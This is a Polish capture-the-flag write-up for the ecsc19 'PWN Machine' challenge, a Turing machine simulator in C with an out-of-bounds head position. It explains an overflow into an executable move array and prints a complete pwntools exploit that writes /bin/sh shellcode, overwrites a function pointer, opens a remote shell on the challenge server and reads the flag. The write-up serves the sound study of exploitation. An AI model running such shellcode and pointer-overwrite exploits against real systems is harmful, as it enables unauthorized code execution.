PWN Machine
Zadanie
W zadaniu dostajemy kod źródłowy i ip do połączenia się przez netcata.
main.c:
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <errno.h>
#include <string.h>
#define DEBUG 1
#define MAX_TAPE_SIZE 10000
#define MAX_MOVES_COUNT 100000
typedef unsigned char tape_char;
typedef unsigned int state;
typedef struct move {
tape_char from_tape;
state from_state;
tape_char to_tape;
state to_state;
void (*direction)(unsigned int*);
} move;
void left(unsigned int *head_position){
(*head_position)--;
}
void right(unsigned int *head_position){
(*head_position)++;
}
void get_moves(move moves[], int moves_count){
// Get the transformation function aka moves
for (int i = 0; i < moves_count; i++){
move new_move;
unsigned char direction;
scanf("%hhu %d %hhu %d %hhu\n", &new_move.from_tape, &new_move.from_state, &new_move.to_tape, &new_move.to_state, &direction);
if (!direction){
new_move.direction = left;
} else {
new_move.direction = right;
}
moves[i] = new_move;
}
}
void get_tape(tape_char tape[], int tape_count){
// Get the tape characters
for (int i = 0; i < tape_count; i++){
scanf("%hhu", &tape[i]);
}
}
int make_move(tape_char tape[], move moves[], state *current_state, unsigned int *head_position, int moves_count){
// Makes one move
for(int i=0; i<moves_count;i++){
if (moves[i].from_tape == tape[*head_position] && moves[i].from_state == *current_state){
printf("Tape: %d Doing move (%hhu, %d) -> (%hhu, %d) id: %d\n", *head_position, moves[i].from_tape, moves[i].from_state, moves[i].to_tape, moves[i].to_state, i);
*current_state = moves[i].to_state;
tape[*head_position] = moves[i].to_tape;
moves[i].direction(head_position);
return 0;
}
}
return -1;
}
void print_tape(tape_char tape[], int tape_count){
for (int i=0; i<tape_count; i++){
printf("%hhu ", tape[i]);
}
printf("\n");
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
unsigned int buffer_size = MAX_TAPE_SIZE * sizeof(tape_char)+MAX_MOVES_COUNT * sizeof(move);
char *buffer = (char*)malloc(buffer_size);
if (buffer < 0){
puts("[E] Error, couldn't allocate memory, contact admin");
}
#ifdef DEBUG
else {
printf("[D] Allocated memory at %p\n", buffer);
}
#endif
int m = mprotect((void*)((int)buffer & ~(4096-1)), buffer_size, PROT_READ | PROT_WRITE | PROT_EXEC);
if (m < 0){
printf("Couldn't run mprotect %s\n", strerror(errno));
exit(1);
}
tape_char *tape = (tape_char*)buffer;
move *moves = (move*)(buffer+MAX_TAPE_SIZE*sizeof(tape_char));
state current_state = 0, acc_state = 0;
unsigned int moves_count = 0, tape_count = 0, head_position = 0;
puts("Input (𝑄, 𝚺, 𝐹):");
scanf("%d %d %d\n", &moves_count, &tape_count, &acc_state);
if (moves_count > MAX_MOVES_COUNT){
printf("[E] Max amount of moves is %d\n", MAX_MOVES_COUNT);
exit(1);
}
if (tape_count > MAX_TAPE_SIZE){
printf("[E] Max amount of tape characters is %d\n", MAX_TAPE_SIZE);
exit(1);
}
get_moves(moves, moves_count);
get_tape(tape, tape_count);
print_tape(tape, tape_count);
while(current_state != acc_state){
if (make_move(tape, moves, ¤t_state, &head_position, moves_count) == -1){
printf("No transformation given current situation(%hhu, %d). Aborting.\n", tape[head_position], current_state);
print_tape(tape, tape_count);
exit(1);
}
}
puts("Given TM accepts given input");
print_tape(tape, tape_count);
}
Mamy implementację maszyny Turinga. Obsługuje do 10000 komórek pamięci, każda to unsigned char, i do 100000 możliwych ruchów. Ruch to struktura. Zarówno ruchy jak i komórki pamięci są w programie trzymane w jednej tablicy. Oprócz tego mamy 2 zmienne: head_position i current_state, odpowiadające aktualnej pozycji na taśmie komórek pamięci i aktualnemu stanowi maszyny. Każdy ruch polega na przejrzeniu listy dostępnych ruchów. Jeśli from_state tego ruchu jest równe aktualnemu stanowi maszyny, a wartość w aktualnej komórce pamięci jest równa from_tape, to stan zmieni się w to_state, a wartość w komórce w to_tape. Następnie wskaźnik aktualnej komórki zostanie przestawiony w lewo lub prawo, zależnie od tego co jest zawarte w ruchu.
Błąd w tym kodzie polega na tym, że przesuwając wskaźnik w prawo, możemy wyjść poza tablicę pamięci i wejść na tablicę ruchów, a więc także je modyfikować. Jako iż jednym z pól w strukturze move jest wskaźnik na funkcję, która jest wykonywana gdy ruch się odbywa, możemy go nadpisać i wywołać coś innego. mmap na początku kodu ustawia całą tą tablicę na RWX, więc możemy na jej początku wpisać shellcode, a następnie do niego skoczyć. Adres znamy, bo jest wypisywany na początku programu. Dzięki jego długości wiemy też że program jest kompilowany jako 32-bitowy. Plan:
- Przejść przez komórki pamięci, na początku ustawiając w nich bajty shellcode'u, a potem 0.
- Przejść przez pierwszy element listy ruchów, aż do adresu funkcji.
- Zmodyfikować adres funkcji.
- Maszyna powinna znajdować sie w takim stanie, żeby został teraz uzyty ten pierwszy ruch.
Pełny kod exploita, z uzyciem pwntools:
#!/bin/python2
from __future__ import print_function
from datetime import datetime
import sys
startTime = datetime.now()
################################
# Logging functions
################################
ENDC = '\033[0m'
COLOUR_RED = '\033[0;31m'
COLOUR_GREEN = '\033[0;32m'
COLOUR_YELLOW = '\033[0;33m'
COLOUR_BLUE = '\033[0;34m'
COLOUR_CYAN = '\033[2;96m'
def logInfo(*args):
print(COLOUR_BLUE + "[{0:06f}|".format((datetime.now() - startTime).total_seconds()) \
+ COLOUR_CYAN + '{:^10s}'.format(sys._getframe(1).f_code.co_name[:10]) + COLOUR_BLUE + ']' \
+ COLOUR_GREEN + '[+]' + ENDC, " ".join(map(str, args)))
def logError(*args):
print(COLOUR_BLUE + "[{0:06f}|".format((datetime.now() - startTime).total_seconds()) \
+ COLOUR_CYAN + '{:^10s}'.format(sys._getframe(1).f_code.co_name[:10]) + COLOUR_BLUE + ']' \
+ COLOUR_RED + '[!!!]' + ENDC, " ".join(map(str, args)))
from pwn import *
import binascii
#shellcode odpalający /bin/sh
shellcode = bytearray("\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80")
#io = process('./main')
io = remote('ecsc19.hack.cert.pl', 25012)
#adres początku tablicy
address = io.recvline()[24:-1]
logInfo("Found address:", address[2:])
addressBytes = bytearray(binascii.unhexlify(address[2:]))
moves = []
# Ruch który umieścimy na początku tablicy ruchów i w którym zmodyfikujemy adres funkcji
pwnmove = {}
pwnmove['from_tape'] = 0 # Wartość pierwszego bajtu następnej funkcji to 0
pwnmove['from_state'] = 10020 # Tyle ruchów wykonamy
pwnmove['to_tape'] = 0 # Nie chcemy zmieniać wartości na taśmie
pwnmove['to_state'] = 10021 # Standardowo w tym exploicie, 1 ruch 1 state
pwnmove['direction'] = 1 # Bez znaczenia, i tak to nadpiszemy
moves.append(pwnmove)
for i in range(10000):
move = {}
move['from_tape'] = 0 # Na początku całą taśma będzie wypełniona 0
move['from_state'] = i # Każdy ruch to osobny stan, zaczynamy od 0
move['to_state'] = i + 1 # Przechodzimy do kolejnego stanu
move['direction'] = 1 # chcemy iśc w prawo, w kierunku tablicy ruchów
if i < len(shellcode): # Na początku tablicy chcemy umieścić shellcode
move['to_tape'] = shellcode[i]
else:
move['to_tape'] = 0
moves.append(move)
'''
typedef struct move {
tape_char from_tape; # 10000
state from_state; # 10001 - 10004
tape_char to_tape; # 10005
state to_state; # 10006 - 100010
void (*direction)(unsigned int*); # 10011 - 10014
} move;
'''
for i in range(10000, 10016): # Przechodzimy strukturę pierwszego ruchu w tablicy aż dojdziemy do adresu funkcji
for j in range(0, 256): # Uatwienie, zamiast przewidywać wartości kolejnych bajtów, stwórzmy ruchy dla wszystkich możliwych
move = {}
move['from_tape'] = j
move['from_state'] = i
move['to_tape'] = j
move['to_state'] = i + 1
move['direction'] = 1
moves.append(move)
for i in range(10016, 10020): # Nadpisujemy adres funkcji
for j in range(0, 256): # Podobnie jak wcześniej, nie ma co zgadywać co teraz tam siedzi
move = {}
move['from_tape'] = j
move['from_state'] = i
move['to_tape'] = ord(binascii.unhexlify(address[2:])[3 - (i - 10016)]) # Pamiętać że little endian
move['to_state'] = i + 1
move['direction'] = 1
moves.append(move)
io.send(str(len(moves)) + ' 10000 1234567\n') # liczba ruchów, liczba komórek pamięci i stań końcowy (to nas nie interesuje akurat)
for move in moves:
io.send(' '.join(map(str, [move['from_tape'], move['from_state'], move['to_tape'], move['to_state'], move['direction']])) + '\n') # wysyłamy ruchy
io.send(' '.join(['0'] * 10000) + '\n') # wysyłamy początkową tablicę
logInfo(io.recv())
io.interactive() # otwieramy shella
Po odpaleniu skryptu i wykonaniu komendy cat /app/flag.txt
otrzymujemy flagę:
ecsc19{Church-TuringThesisAppliesToPWNsRight?}
No Comments